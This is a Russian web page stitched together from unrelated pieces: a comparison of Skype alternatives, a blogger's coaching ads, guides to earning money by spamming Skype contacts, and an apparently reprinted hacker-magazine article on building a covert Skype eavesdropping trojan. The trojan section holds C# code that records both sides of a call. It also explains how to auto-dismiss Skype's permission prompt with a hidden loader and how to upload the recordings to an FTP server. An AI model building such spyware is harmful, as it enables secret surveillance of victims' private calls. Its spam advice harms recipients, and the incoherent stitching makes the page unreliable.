Подслушиваем Skype: хакерский подход к резервному копированию VoIP-разговоров. Заработок с помощью Скайпа (Skype): способы, сервисы, программы

17.06.2019

Чем заменить Skype, если он опять не работает: чат, звонки, видеосвязь

«Шо, опять?!»: с 18 июня в течение двух дней у некоторых пользователей были проблемы с подключением и передачей сообщений в Skype

Skype - один из самых старых, популярных и технологичных сервисов для общения. Но на нём свет клином не сошёлся, у вас есть возможность перейти на хороший альтернативный сервис, исходя и ваших потребностей. А я вам с этим помогу.

Wire

Чат, «телефон» и видеосвязь для Маков, Windows, Linux, iOS, Android-устройств и даже веб-браузера. Сервис от бывших работников Skype, который поддержал сооснователь «Скайпа» Янус Фрис.

В Wire применяется оконечное шифрование, когда сообщения и звонки шифруются на устройстве отправителя и дешифруются на устройстве получателя, а не на серверах компании. Приложение хорошо выглядит, быстро работает, а качество передачи речи, по моему мнению, лучшее среди приложений из этого сравнения.

Достоинства Wire:

Отличное качество передачи речи,
оконечное шифрование,
открытый код приложений и сервиса,
групповые чаты и аудиозвонки,
демонстрация экрана собеседнику,
в приложении нет рекламы,
компания не собирает данные о пользователях,
юрисдикция Швейцарии

Недостатки Wire:

Нет групповых видеозвонков,
невысокая популярность

Wire подойдёт как для личного общения, так и деловой переписки или чата с коллегами в небольшой компании.

Telegram

В конце марта 2017 года в месседжере основателя «ВКонтакте» Павла Дурова появились голосовые звонки. Вместе с поддержкой оконечного шифрования («секретные чаты» и звонки), наличием разнообразных ботов, поиском и фильтрацией по хештегам, удобной передачей файлов, это сделало «телеграм» серьёзным конкурентом более старым и популярным месседжерам.

Достоинства «телеграма»:



открытый код приложений,
групповые чаты,

в приложении нет рекламы

Недостатки «телеграма»:

Нет групповых аудио- и видеозвонков,

закрытый код серверной части сервиса,

Telegram хорош для личного общения, а благодаря бесконечной истории и возможности поиска в чатах, его можно использовать и для общения команды в небольшой компании.

Google Hangouts

Универсальный менеджер от Google, с удобными приложениями для iOS и Android, Веб-приложением , интегрированный с Gmail и Inbox для Gmail.

Достоинства Hangouts

Хорошее качество передачи речи,
удобные групповые чаты, аудио- и видеозвонки,
интеграция с Gmail (в том числе, истории чатов),
демонстрация экрана собеседникам,
все медиафайлы из чатов доступны в архиве альбомов

Недостатки Hangouts


закрытый код сервиса,
Google собирает данные о пользователях

Хороший вариант для личного общения или в команде, для пользователей Gmail. Для компаний, использующих в работе G Suite , лучше подойдёт Google Meet .

Slack

Мощнее средство для общения в команде. В отличие от Skype и других участников нашего списка, работа построена не вокруг списка контактов, а вокруг «команды», в которую входят пользователи. Пользователь может участвовать в разных командах, в каждой из которых будет свой список участников.

Общение в команде построено в свою очередь вокруг «каналов», которые могут быть как общими для всех участников, так и для определённых пользователей. Есть возможность отправки личных сообщений.

Сильная сторона Slack - возможность интеграции множества сторонних сервисов и ботов, а также мощнейший поиск по истории общения.

Есть поддержка голосовых и видеозвонков. Бесплатная версия отличается от платной (от $6,67 в месяц за активного пользователя) кроме прочего отсуствием групповых звонков, ограничениями на количество сообщений в истории чата и размером облачного пространства (5 ГБ на всю группу пользователей) для хранения файлов.

Достоинства Slack

Хорошее качество передачи речи,
удобные групповые чаты,
групповые аудио- и видеозвонки (платная версия),
интеграция с множеством популярных сервисов,
наличие ботов,
мощный поиск по истории (до 10 тыс. сообщений в бесплатной версии)

Недостатки Slack

Отсутствует оконечное шифрование,
закрытый код сервиса,
ограничения бесплатной версии
не предназначен для личного общения

Идеальный вариант для общения в команде любого размера, особенно в случае использования платной версии сервиса.

Facebook Messenger

Вкупе с WhatsApp, Facebook Messenger является самым популярным средством общения в мире (около 80% рынка месседжеров, по данным SimiliarWeb). Хоть и интегрирован с Facebook, Messenger, по сути, является отдельным сервисом, с возможностью использования его в отдельных веб- и мобильных приложениях.

Есть возможность оконечного шифрования сообщений между двумя собеседниками (Secret Conversation, по умолчанию не включено).

Поддерживаются групповые аудио- и видеозвонки, передача файлов. Особенность сервиса - возможность в мобильных приложениях добавлять напоминания в чаты. То есть, вам не нужно в большинстве случаев во время переписки что-то заносить в календарь, «ставить будильник», или «напоминалку» в стороннем приложении.

Достоинства Messenger:

Поддержка оконечного шифрования,
групповые чаты, аудио- и видеозвонки,
клиенты под популярные платформы,
поддержка ботов,
интеграция с Facebook,
огромное количество пользователей,
возможность добавлять напоминания в чаты

Недостатки Messenger:

Не лучшее качество передачи речи при нестабильном соединении
оконечное шифрование не используется по умолчанию,
не самое быстрое приложение, может показаться перегруженным разными возможностями,
закрытый код сервиса,
нет возможности демонстрации экрана собеседнику,
неизвестно, какие данные о пользователях собирает компания

Очень хорошо подойдёт для личного общения, а также для групповых чатов, но вряд ли будет оптимальным вариантом для серьёзной работы в команде.

На данной странице Вы можете ознакомиться с возможностью личного коучинг-обучения по заработку на партнерских программах (CPA-партнерки). А также с возможностью наставничества и отдельных разовых (или многоразовых) консультациях в темах, которые мне хорошо знакомы:

  • Заработок на CPA-партнерках
  • Блогинг (создание, наполнение, оптимизация, раскрутка)
  • Seo-оптимизация
  • Копирайтинг (Видеокопирайтинг)
  • Email-маркетинг

Сразу скажу, что на персональный скайп-коучинг я беру далеко не всех – попасть ко мне на обучение Вы можете только после предварительного собеседования по скайпу. Моя задача, чтобы Вы под моим руководством добились желаемых результатов, и чтобы и мне и Вам было приятно вместе работать и сотрудничать.

Внимание! Все детали обучения обговариваются с Вами на этапе собеседования.

Продолжительность обучения: 2 месяца.

Связь (skype-сессия): 2 раза в неделю по 30-40 минут.

Средний доход после прохождения обучения: 500-1500 руб. в день.

Стоимость обучения: От 12 500 р. (Обговаривается индивидуально)

Для подачи заявки на обучение, отправьте письмо с темой «Коучинг по CPA» и текстом «Заявка на обучение CPA» на email: [email protected]

В рамках коучинга я помогаю Вам создать полноценный инфобизнес со всеми необходимыми инструментами (Блог + Ютуб-канал + рассылка + база + бесплатный и платный оффер и т.д.)

Продолжительность обучения: 6 месяцев

Связь (skype-сессия): 3 раза в неделю по 30-40 минут.

Стоимость: от 27 500 р.

Для подачи заявки на Skype-консультацию, отправьте письмо с темой «Коучинг по инфобизнесу» и текстом «Заявка на коучинг по инфобизнесу» на email: [email protected]

Индивидуальная Skype-консультация по интересующим Вас вопросам касательно Спа-партнерок, блогинга, seo-оптимизации, копирайтинга и т.д.

Стоимость: 1000 р. в час

«Разовая консультация» и текстом «Заявка на Skype-консультацию» на email: [email protected]

За 5 лет заработка в Интернете я создал порядка 50-ти блогов по разным темам. Чаще для своих проектов. Если у новичка создание и первоначальная настройка блога на WordPress может занять 2-3 дня, то у меня на это уйдет 3-4 часа. Соответственно я могу Вам помочь и создать для Вас блог быстро, качественно и под ключ. Вам останется только начать его наполнять. Работа над созданием блога будет тщательно обговариваться предварительно с Вами (домен, шапка блога, дизайн, плагины, шаблон блога и т.д.)

Плюс к этому я проведу для Вас персональную Skype-консультацию по теме Seo-оптимизации, раскрутки, наполнения и дальнейшей монетизации Вашего блога.

Стоимость услуги «Блог под ключ» + консультация = 4500 р.

Для подачи заявки, отправьте письмо с темой «Хочу блог под ключ» и текстом «Заявка на создание блога» на email: [email protected]

Стоимость размещения статьи на блоге: 700 р.

Дополнительный анонс по подписной базе (2000 человек) + 1000 руб.

Статья пишется рекламодателем. Статья должна быть уникальной (не менее 90% уникальности), по теме блога, содержать не только рекламное, но и практическое содержание, полезное для моих подписчиков и читателей. Статья должна содержать не менее 5000 символов (без пробелов). В статье разрешается использовать не более 3-х исходящих ссылок. Статья остается на блоге навсегда (на время жизни блога).

По вопросам размещения статьи на блоге обращайтесь на на email: [email protected] с пометкой «Статья на Вашем блоге»

Сегодня Я хочу поговорить о заработке с помощью Skype. Многие, наверное, даже и не думали, что с помощью программы Skype можно зарабатывать, при чем в автоматическом режиме.

Суть заработка заключается в том, что специальная программа будет рассылать по Вашим контактам Skype рекламные письма, за которые Вы будете получать деньги. Круто да? Итак, приступим :

Сервисы для заработка в Skype

  • Sendsey . Этот сервис позволяет зарабатывать с помощью массовых скайп рассылок по контактам Skype. Для того чтобы начать зарабатывать, необходимо перейти на сайт и зарегистрироваться http://sendsey.com/u/Eha . Регистрация как везде, e-mail и пароль. Далее заходим в кабинет и скачиваем программу на ПК. После этого устанавливаем её на свой компьютер и авторизуемся в системе под логином и паролем, который Вы указывали при регистрации на сайте программы. После этого в самом Skype Вам нужно дать разрешение на использовать программы, нажав на всплывающее окно. Всё, теперь программа начнет работать. Она будет в различное время рассылать рекламные предложения по Вашим контактам Skype. Чем больше у Вас контактов, тем будет больше Ваша прибыль. За 1 письмо Вам будут платить примерно 0,006 $
  • Skinver . Ещё один сервис, позволяющий зарабатывать в Skype - это Skinver. Здесь всё то же самое. Регистрируетесь http://skinver.ru/u/eha777 , скачиваете программу и запускаете (устанавливать не нужно), авторизуетесь и готово. Программа начнет работать.
  • . Ещё один сервис для заработка в Skype – postingblues. Здесь рассылка делается в полуавтоматическом режиме. После регистрации , заходите в кабинет, скачиваете программу на ПК и запускаете. На начальном тарифе Вам будет доступна рассылка на 300 контактов в день. Можно купить тариф выше, базовый дается бесплатно. После запуска программы, Вам нужно будет выбрать предложенное рекламное сообщение, поставив галочку возле него. Далее выбрать свой список контактов, можно выбрать тех, кто онлайн и нажать «начать публикацию». Всё, начнется рассылка сообщений и в реальном времени Вы сможете увидеть как на Ваш счет капают деньги.

Вот, в принципе, и все основные сервисы для заработка в Skype с помощью спам рассылок. Есть и другие, но мне хватает и этих.

Если Вы решили зарабатывать с помощью этого способа, рекомендую создать отдельный скайп и уже в него добавлять контакты и делать рассылки. Потому что, Я думаю, Ваши близкие не очень будут рады получать от Вас 1-2 раза в день письма с различном рекламой

Добавляйте в день не более 25 контактов, потому что Вас могут забанить (заблокировать аккаунт skype навсегда). У меня такое было и не раз.

.
Если раньше нам нужно было часами отвисать в текстовых чатах, набивая килобайты
информации, то теперь, благодаря распространению безлимитного инета вплоть до
российской глубинки, даже самые удаленные от столицы интернетчики могут познать
радость голосового общения.

Способы перехвата

С целью мы определились и теперь нужно начитаться скучной теории, без которой
в таком деле продвинуться нереально. Прогуляйся по улице, свари себе чашечку
глинтвейна, расположись удобнее в кресле и начинай впитывать священные знания.

Способ #1

Буквально в начале октября 2009 года один умелец написал продвинутый снифер,
о котором написали во всех security-ресурсах всемирной паутины. Если верить
новостям и автору снифа, то выходит, что перцу удалось перехватить скайп-трафик
(ну, это можно было сделать и раньше) и, что самое главное – расшифровать его.

Обойти такое событие стороной я не мог, поэтому немедленно решил найти
заветный исходничек (автор снифера был чертовски добр и выложил на паблик полный
сорец), но жестко обломался. Враги народа убрали заветный сорец с сабжевого
сайта, а часовой марш-бросок по гуглу нормальных результатов не дал. Мне лишь
попадались какие-то нерабочие сорцы.

Совсем отчаявшись, я плюнул на этот вариант. Стоп! Если ничего не вышло, то
зачем я все это тебе рассказываю? Все просто, ситуация меняется каждый день и
вполне возможно, что к моменту выхода статьи в свет на просторах всемирной
паутины появятся рабочие сорцы этого тройчика. Чем черт не шутит. Учти, если
удастся найти заветный исходник, то считай, что у тебя в руках все козыри и
теперь все скайперы станут для тебя мишенями.

Способ #2

Несомненно, первый способ — самый лучший, но с реализацией реальный напряг.
Буду откровенен: я уже отчаялся и хотел положить на всю затею железный болт, но
редактор рубрики был другого мнения. После пары намеков, двух ударов по почкам и
печени я не смог отказать в подготовке материала. Как оказалось, сделал я это не
зря.

Если не получается достичь цели напрямую, то нужно заходить с тылу. Так
поступил и ваш покорный слуга. Идея проста до безобразия и, возможно, ты уже
даже юзал эту фичу для какого-нибудь благого дела.

Не буду ходить вокруг да около, а раскрою все карты. Итак, в горячо мной
любимых операционных системах от Microsoft есть такая фича — стерео-микшер.
Немногие знают, что благодаря этой, казалось бы, бесполезной приблуде и
какого-нибудь языка программирования реально сварганить полноценного
skype-шпиона.

Активируй в своей (или не совсем своей?) системе стерео-микшер, и тебе
становятся подвластными оба звуковых потока – тот, которой идет на микрофон и
соответственно тот, который поступает на колонки/наушники. Догадываешься, к чему
я клоню? Все верно, чтобы зарипать беседу двух людей по скайпу, тебе лишь
потребуется воспользоваться стандартным WinAPI/объектами для записи звука с
микрофона.

Сделать это достаточно просто и убедиться в этом ты сможешь, взглянув на
врезку 1. В нем я привел часть, отвечающего за запись звука. Не торопись все это
переписывать, сразу он у тебя все равно не скомпилится.

Увы, несмотря на всю мощь и безграничные возможности.NET Framework, в нем
совершенно отсутствуют инструменты для записи звука. Несомненно, в будущих
версиях этот пробел будет восполнен, но мы-то ждать не можем!

Многие.NET-разработчики для организации в своих приложениях возможности
записи звука используют банальные вызовы API-функций. Вариант неплохой, но
крайне неудобный. Я пошел несколько другим путем и воспользовался наработками
Mark Heath.

Этот человек потрудился на славу и создал проект NAudio – аудиоредактор с
открытым исходным кодом. В рамках проекта Марк написал каркас, позволяющий
максимально удобно взаимодействовать с различными WinAPI-функциями для работы со
звуком.

NAudio доступен на . Просто
подтяни его модули к своему проекту и тебе станут доступны все необходимые
классы. Записывать звук с их помощью крайне просто. Да ты, наверное, в этом уже
убедился:).

В самом начале листинга я определяю формат WAV-файла. Для этого мне требуется
установить количество каналов (в нашем случае будем писать в mono) и частоту
сэмпла. Кроме настроек формата аудиофайла, мне требуется определить устройство
(device number), с которого мы будем захватывать звук. Я устанавливаю 0, что
соответствует устройству записи "по умолчанию".

Узнавать об очередной порции поступивших на звуковую карту данных нам может
событие waveIn_DataAvaible(). Если оно сработало, то значит пришли данные и их
требуется записать.

А вот и первые минусы

Не спеши пускать слюни и пытаться впопыхах сотворить зловреда для Skype.
Предложенный мной способ хорош и полностью работоспособен, но у него есть
несколько минусов, о которых тебе необходимо узнать заранее. Некоторые из них:

1. Нет никаких гарантий, что в системе пользователя стерео-микшер вообще
будет активен. Да, он включен по умолчанию, но многие пользователи принудительно
отключают его. Зачем? Лично мне приходится это делать из-за того, что я пишу
подкасты и мне крайне важно, чтобы звук захватывался лишь с моего микрофона, а
не голоса соведущего.

Твоя программа должна быть готова к такому положению дел и в случае чего
суметь самостоятельно внести нужные настройки. Вот здесь возникают небольшие
сложности, но разве кто-то говорил, что будет совсем просто?

2. Нет четкого ориентира, на который можно опереться и 100% заверить, что
именно сейчас пользователь начал общаться со своим собеседником. На одном из
кодерских форумов для решения данной траблы предлагали следующий способ:
анализировать звук, поступающий на микрофон и в случае обнаружения больших
скачков звуковой волны (т.е. когда человек начинает орать/говорить) приступать к
записи. Для прерывания следует руководствоваться примерно таким алгоритмом –
ждем тишины и, если она длится более n минут, прекращаем захват звука.

Предложенный алгоритм, несомненно, хорош, но в описанном выше виде им лучше
не пользоваться. Попробую объяснить, почему. Заюзав данный способ в чистом виде,
ты рискуешь напороться на большое количество ложных срабатываний. Если на
вражеской территории микрофон лежит возле колонок, из которых без устали звучит
heavy metal, то твой трой будет постоянно вести запись, и во время сбора урожая
ты обнаружишь, что у тебя появился сборник всех любимых треков твоей жертвы. Что
же тогда делать? Надеяться на авось и писать все подряд? Можно, но это как-то не
по-хакцерски.

Я провел небольшой мозговой штурм и пришел к выводу, что озвученным выше
способом пользоваться можно, но только предварительно организовав страховку.
Страховка может быть, как минимум, двух видов:

1. Хуки. В нашем журнале мы неоднократно описывали технику применения хуков,
и еще раз расписывать все подробности и, тем более, приводить примеры, меня
сильно обламывает. Ты уже не маленький и такие вещи должен знать:). Я лишь
подскажу алгоритм:

a. Ставим хук на обработку создания новых окон.

b. Реализуем проверку, в которой обрабатываем каждое вновь созданное окно. В
коде проверки мы должны смотреть на: родителя окна, класс окна, заголовок и т.д.
По этим признакам мы можем распознать окно входящего Skype-звонка и в случае
чего начать запись.

2. Функции для работы с окнами. Вторым вариантом решения задачи будут хорошо
знакомые тебе WinAPI-функции для работы с окнами. Ты ведь еще помнишь такие
слова, как FindWindow, EnumWindows, EnumChildWindows и т.д.? С помощью этих API
реализовывается банальный поиск окна входящего звонка. Если окно найдено, то это
означает, что жертва начала базарить по скайпу, в противном случае нужно
выполнить поиск чуть попозже. Периодичность поиска должна быть минимальной,
иначе ты рискуешь пропустить секретные звонки.

Способ #3

И вот мы медленно, но верно добрались до самого простого и удобного способа
записи skype-бесед. Немногие знают, что разработчики Skype поощряют людей,
имеющих желание разрабатывать всякие полезняшки для их детища. Само поощрение
выражается в разработке и обновлении официального SDK.

На основе компонент, входящих в SDK, программисты могут создавать аддоны или
просто приложения на базе Skype. В качестве одной из вкусностей этого наборчика
можно выделить наличие примеров для разных популярных языков программирования.
Тут тебе и C++, и C#, и даже великий и могучий Delphi не забыт (кстати, не все в
курсе, но сам Skype написан на Delphi). Одним словом, этот SDK – рай для
программистов, решивших поковырять Skype.

Для нас с тобой SDK – это даже круче, чем рай. На базе этого каркаса мы
сможем не только записать голосовое общение пользователя, но и перехватить
полученные и отправленные им текстовые сообщения, файлы, совершить звонок от его
имени и т.д.

Но не будем бежать впереди паровоза, восхваляя то, что еще пробовали, а
познакомимся со всеми нюансами на примере.

Лезь на наш DVD и устанавливай SDK. Установка не должна вызвать затруднений.
Просто запусти файлик из папочки SDK и соглашайся со всем, что у тебя спросят.
Завершив установку – запускай Visual Studio (я использовал 2008-ю версию) и
создавай новый проект. В качестве типа проекта выбери шаблон SEHEwc.

Пока у тебя создается проект, я вкратце расскажу про шаблон SEHEwc. По правде
говоря, это не совсем шаблон в привычном нам понимании. В реале это полноценный
пример, демонстрирующий все возможности хваленого мной SDK. Демка написана очень
хорошо и разбираться в ее коде одно удовольствие.

До начала погружения в код стартани свой скайп и запусти созданный прожект (я
сейчас про шаблон). При выполнении исходника твой скайп преданно отрапортует,
что такое-то приложение пытается получить доступ к его функциям. Давай добро и
попробуй отправить через скайп текстовое сообщение. Не успеешь его запулить, как
весь отправленный текст появится в текстовом поле. Это означает, что
демонстрационный пример успешно работает.

Мощность примера не вызывает сомнений. На первый взгляд может показаться, что
его код дает ответы на самые изощренные вопросы, связанные с программированием
скайпа. Но, самая нужная для нас фича – запись разговоров, в нем, увы, не
реализована. Что ж, будем исправлять ситуацию.

Перейди в редактор кода и найди описание метода OurCallStatus. В его теле
описано получение различной инфы о текущем звонке. Это все хорошо и безумно
интересно, но мы хотим другого. Сотри имеющийся код, и вместо него перепиши
содержимое третьей врезки. Пока ты будешь переписывать, я расскажу о том, что
там происходит.

В самой первой строке я выполняю проверку и сравниваю значение переменной
status с со значением clsInProgress перечисления TCallStatus (ух,
настальгическая дельфячья буковка T перед именем типа:)). Если они равны, то
беседа в самом разгаре и пора начинать запись звука.

Теперь приготовься и не упади со стула, когда узнаешь, что запись
осуществляется всего лишь одной строкой:

call.set_CaptureMicDevice(TCallIoDeviceType.callIoDeviceTypeFile,
@"Путь, куда сохранять" + call.Id.ToString() + ".wav");

В первый параметр метода set_captureMicDevice требуется передать устройство,
на которое будет выведен поток с микрофона. Типы устройств хранятся в
перечислении TCallIoDeviceType. Мы хотим захватывать звук в файл, поэтому ставим
callIoDeviceTypeFile. Второй параметр зависит от первого. В нашем случае в нем
передается путь к файлу, в который будем сохранять результат записи.

Обрати внимание, что вызовом метода set_captureMicDevice мы сохраним лишь
голос нашей жертвы, а те, с кем она говорит – останутся за кадром. Записывать
собеседников мы будем при помощи метода set_OutputDevice:

call.set_OutputDevice(TCallIoDeviceType.callIoDeviceTypeFile, @"Путь
куда сохранять" + call.Id.ToString() + ".wav");

Параметры у него точно такие же, как и у предыдущего, поэтому дважды
рассказывать не буду:).

Можно сказать, что все готово. Компиль и запускай проект. При стартинге не
забудь одобрить в скайпе инжект, иначе ничего захватить не получится.

Попробуем протестировать наше приложение в реальных условиях. Попроси своего
приятеля, чтобы он позвонил тебе по скайпу и немного поболтал с тобой.

Если при переписывании листинга ты был крайне внимателен, то по переданным в
методы captureMicDevice и set_OutputDevice путям для сохранения файлов, будут
лежать свежеиспеченные WAV’ки. Прослушай их в своем плеере и убедись, что все
работает как надо.

Пользоваться SDK крайне просто (особенно если пишешь под.NET) и его
возможности будут однозначно востребованы при разработке профессионального
skype-logger’a.

Я не буду тебе рассказывать, как выполнять перехват текстовых сообщений и
другой полезной инфы. Все это делается путем вызова парочки методов, которые
подробно документированы. Доки (само собой на английском) всегда доступны на
официальном портале:

https://developer.skype.com/Docs/Skype4COMLib . Если ты испытываешь проблемы
с инглишем, то не расстраивайся. Просто посмотри код шаблона приложения. Думаю,
ты во всем разберешься. В крайнем случае – пиши мне.

Досадные ограничения

У официального SDK есть один, но крайне большой, минус. При запуске твоего
приложения скайп будет постоянно бить тревогу. Сам понимаешь, если жертва увидит
странное окошко с вопросом: "а разрешить ли этому приложению доступ?", то с
99,9% вероятностью она нажмет на кнопочку "Нет" и ты останешься в пролете. Чтобы
этого не случилось, я рекомендую тебе делать две проги – одна будет
ориентирована на захват звука и написана на удобном C#, а вторая является своего
рода загрузчиком. Ее основной целью будет незаметное пребывание в системе,
скрытие/нажатие кнопок ненужных окон (это про окошко одобрения запуска). Кроме
того, через эту самую прогу-загрузчик можно будет реализовать все функции
удаленного управления и т.д. В общем, идею ты понял.

Как бороться с "ненужными" окнами?

И во втором и в третьем методе захвата скайп-бесед мы напоролись на проблему
— взаимодействие с окнами чужого приложения. Я говорил, что о работе с чужими
окнами в нашем журнале мы рассказывали много раз (рекомендую статью про угон
кошельков веб мани, опубликованную года 3-4 назад), но если ты только влился в
нашу тусовку и не знаешь, что да как, не поленись, зайди на bing.com и поищи там
на предмет функций FindWindow, GetWindowText, PostMessage. Поисковик мелкомягких
сразу же тебя выведет на нужный раздел MSDN’а и ты быстренько сможешь
познакомиться с этими полезными функциями.

Вывод файлов

Рано или поздно ты столкнешься с еще одной большой проблемой – сбором урожая.
Безошибочно сейвить всю болтовню жертвы, конечно же, хорошо, но какой толк от
награбленного добра, если его нельзя забрать и проанализировать? Верно,
никакого.

Шпион для скайпа – это не кейлоггер и его логи так просто по почте не
отправишь. Мало того, что файлы со звуком брутально весят, так еще и пересылать
их протоколу smtp совсем не айс.

Задача вывода файлов усложняется в несколько раз, если юзер сидит не на
безлимите (да-да, такие еще встречаются). В этом случае пересылка больших по
объему файлов не останется незамеченной в статистике и это обязательно
насторожит продвинутого пользователя. Особенно, когда он будет испытывать
большие тормоза во время нахождения в сети.

Немного покумекав, я пришел к следующему алгоритму:

  1. Кодирование каждого файла со звуком в формат mp3. Изначально все разговоры
    нашей жертвы мы писали в WAV’ы, которые очень много весят. Например, средний
    размер продолжительной беседы (около часа) может достигать 50-80 метров (в
    зависимости от настроек). Пересылать такой файл в чистом виде, мягко говоря,
    нереально. Перекодировка в формат mp3 частично решит проблему размера. Если
    выставить максимальную степень сжатия и минимальный битрейт, то размер удастся
    сократить в 3-4 раза. Это уже лучше, но не идеально. Вывод тех же 5 метров
    может показаться затруднительным.
  2. Разбивка файла на более мелкие части. В предыдущем абзаце я сказал, что
    даже такая операция как кодирование файла в mp3 не спасет тебя от проблем с
    пересылкой. Лучше всего разбить сжатый файл на более мелкие части и отправлять
    уже их. Например, раздробить mp3 на частички по 300-500 Кб. Такие крохотульки
    будет куда проще и быстрее вывести с поля битвы.

По подготовке файлов к отправке я вроде все сказал. Быстренько пробежимся по
способу отправки. Несколькими абзацами выше, я заявил, что пересылать такие вещи
по smtp не очень правильно, да и попросту проблематично. Куда лучше заюзать
проверенный годами старый добрый ftp! Встроить в свое.NET-приложение
простенький FTP-клиент – что может быть проще? Взгляни на врезку и убедись сам.

Happy end

Нет предела возможностям человека и нет предела совершенству. Нерешаемых
задач не бывает и все трудности можно преодолеть. Сегодня я рассказал тебе про
строение скелета voice-logger’a, и дальнейший выбор зависит только от тебя. Либо
ты сведешь всю полученную инфу в одну кучу и создашь неуловимого шпиона для
скайпа, либо разработаешь профессиональный инструмент для легального бэкапа
переговоров:). Выбор за тобой, мне лишь остается попрощаться и пожелать тебе
удачи!

P.S. Полные исходники моего трояна не проси. Все равно не дам, я жадный:). А
если серьезно, я не поддерживаю такие вещи и не хочу, чтобы многие тупо компили
готовый проект и приступали к боевым действиям. Прослушка разговоров – это
вторжение в личную жизнь, а это, помимо незаконности, еще и подло! До встречи!

Warning

Подслушивание чужих разговоров – глубоко незаконная вещь. Используй
полученную информацию только для создания бэкапера своих разговоров!

Врезка 1. Записываем звук

//Подготавливаемся к записи
waveIn = new WaveIn();
waveIn.DeviceNumber = 0;
waveIn.DataAvailable += waveIn_DataAvailable;
int sampleRate = 8000;
int channels = 1;

waveIn.WaveFormat = new WaveFormat(sampleRate, channels);
waveIn.StartRecording();

void waveIn_DataAvailable(object sender, WaveInEventArgs e)
{
if (recordingState == RecordingState.Recording)
writer.WriteData(e.Buffer, 0, e.BytesRecorded);

Врезка 2. Запись входящих звонков в файл

try
{
// Запись входящего звонка
if (status == TCallStatus.clsInProgress)
{
//Захватываем звук и сохраняем его в
//файл (поток пользователя)
call.set_CaptureMicDevice(

@"C:\temp\sound_user" + call.Id.ToString() +
".wav");

// Захватываем звук и сохраняем
//его в файл (всех остальных собеседников
call.set_OutputDevice(
TCallIoDeviceType.callIoDeviceTypeFile,
@"C:\temp\sound_people" + call.Id.ToString() +
".wav");

}
}
catch (Exception e)
{
//Выведем ошибки
AddTextToTextBox1(DateTime.Now.ToLocalTime() + ": " +
" Our Code – Невозможно выполнить захват аудио: " + call.Id.ToString() +
" – Источник ошибки: " + e.Source + " – Текст ошибки: " + e.Message +
"\r\n");

Врезка 3. FTP клиент средствами класса на основе класса FTP Dot .NET

try
{
FtpConnection myFtpConnection =
new FtpConnection();
myFtpConnection.MessageReceived +=
new FtpConnectionEventHandler(connection_MessageReceived);

myFtpConnection.Host =
"ftp://myftpserver";
myFtpConnection.UserName =
"username";
myFtpConnection.Password =
"password";
myFtpConnection.RemoteDirectory =
"/temp/testforxakep";
myFtpConnection.Upload(@"C:\temp\sound.part1.mp3",
"sound.part1.mp3");
}

catch (WebException ex)
{

}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}

void connection_MessageReceived(object sender,
FtpConnectionEventArgs e)
{
Console.WriteLine(e.Message);

Как зарабатывать в скайпе? Вопрос, которым в последнее время задаются многие. Два вида заработка: заработок на консультациях и с помощью программы sendsey

Здравствуйте, дорогие читатели, друзья блога сайт.

Skype - программа, которой пользуются миллионы людей. Что может быть лучше бесплатных звонков по всему миру. Но не каждый знает, что помимо общения, здесь ещё можно зарабатывать неплохие деньги. Как зарабатывать в скайпе? - вопрос, который в последнее время задают себя многие пользователи программы. И не зря! Ведь действительно, программа дает нам неплохие шансы чуток подзаработать.

Итак, какими способами можно зарабатывать в скайпе?

  1. Проводить платные консультации.
  2. Скачать специальную программу, которая будет зарабатывать вам деньги, рассылая рекламные сообщения вашим контактам.

Давайте сначала подробно узнаем о платных консультациях.

Заработок в скайпе с помощью онлайн-консультаций


Как вы понимаете, консультации можно проводить разные: по учебе, SEO и тому подобное. Выберите для себя нишу, в которой специализируетесь само лучше. Если вы планируете серьезно заниматься таким заработком, то я советую:

  • Поработать над своей речью, чтобы консультации казались на более высоком уровне.
  • Купить себе качественный микрофон (камеру), чтобы избавится от шума и нечёткой съёмки.
  • Цены на консультации ставьте сначала мизерные.
  • Проводите консультации изначально по предоплате. Для приема оплаты рекомендую пользоваться кошельками или .

Также хочу остановиться на Skype Prime. Кто не слышал об этом сервисе, скажу, что с его помощью можно создать сервис, который будет платить вам за ваши знания.

Прежде чем писать эту статью я подробно изучил этот сервис. Проект хорош, только не для нас. В чем проблемы?

  1. Чтобы начать пользоваться сервисом, нужно иметь кошелек системы . Для граждан России он не подходит. Вывести деньги оттуда невозможно. Максимум, что можно себе позволить, то - это оплатить покупку онлайн.
  2. Нет русского языка. Оказывать онлайн-консультации, можно только: на английском, немецком, испанском, французском, итальянском и японском.

Для себя я решил, что пользоваться сервисом не буду. Вы думаете иначе? Скачайте последнюю версию Skype с функцией Prime и начните пользоваться им прямо сейчас. Возникнут проблемы при регистрации? Отпишитесь в комментариях, буду рад помочь.

Заработок в скайпе с помощью программы «Sendsey »


Итак, возникает вопрос? Как зарабатывать с этой программой. Ответ довольно прост. Программа всем вашим контактам будет посылать рассылки с рекламой. Чем больше у вас контактов, тем больше вы будете зарабатывать. Стоимость одного сообщения составляет: 0.0014$

Sendsey - как пользоваться?

Смотрите шаги действий, для получения пассивного заработка:

Шаг 1. Регистрация.

Шаг 2. Устанавливаем программу на компьютер.

Шаг 3. Подключаем программу к своему аккаунту Skype.

После установки программы, запустите её. Перед вами появится окно авторизации:


Все. Программа установлена. Поздравляю вас!


Неких людей, такое, конечно, бесит. В настройках программы, вы можете исключить из рассылки своих самих близких людей. Но! Повторюсь: заработок программы зависит от количества контактов (1 сообщение = 0.0014$).

Как увеличить заработок с программой Sendsey?

Друзья, есть один хитрый способ (точнее, проект), который дает возможность увеличить количество контактов Skype в разы. Название проекта «TakeFriend.ru». Даже не регистрируясь, выбираете в верхнем (левом) углу «Skype» и напротив пользователя нажимаете «Добавить в друзья». Дальше переходите в скайп и отправляете заявку.

Посмотреть в картинках



От себя добавлю, что я программой не пользовался. Не люблю, когда спам в контактах. Но! Если создать новый аккаунт (только для заработка), то этот способ вполне может подойти.

Итак, давайте вернемся к программе Sendsey…

Вывод денег

Что касается выплат, то здесь всё просто. Сервис работает с двумя платежными системами: и Payeer. Минимум на вывод всего 1$. Набить такую сумму можно за день, а то и быстрее.

Партнерская программа

Если имеете свой сайт (блог) или какие-нибудь другие рекламные площадки-то, конечно, можно воспользоваться партнерской программой. Более того, здесь она имеет 10 уровней.

Смотрите таблицу:

1 уровень 0.00016$
2 уровень 0.00016$
3 уровень 0.00016$
4 уровень 0.00016$
5 уровень 0.00016$
6 уровень 0.00012$
7 уровень 0.00012$
8 уровень 0.00012$
9 уровень 0.00012$
10 уровень 0.00012$

Расчеты в таблицы, показаны за одно сообщение. Разумеется, чем больше у вас рефералов, тем выше будет ваш заработок.

Подытожим

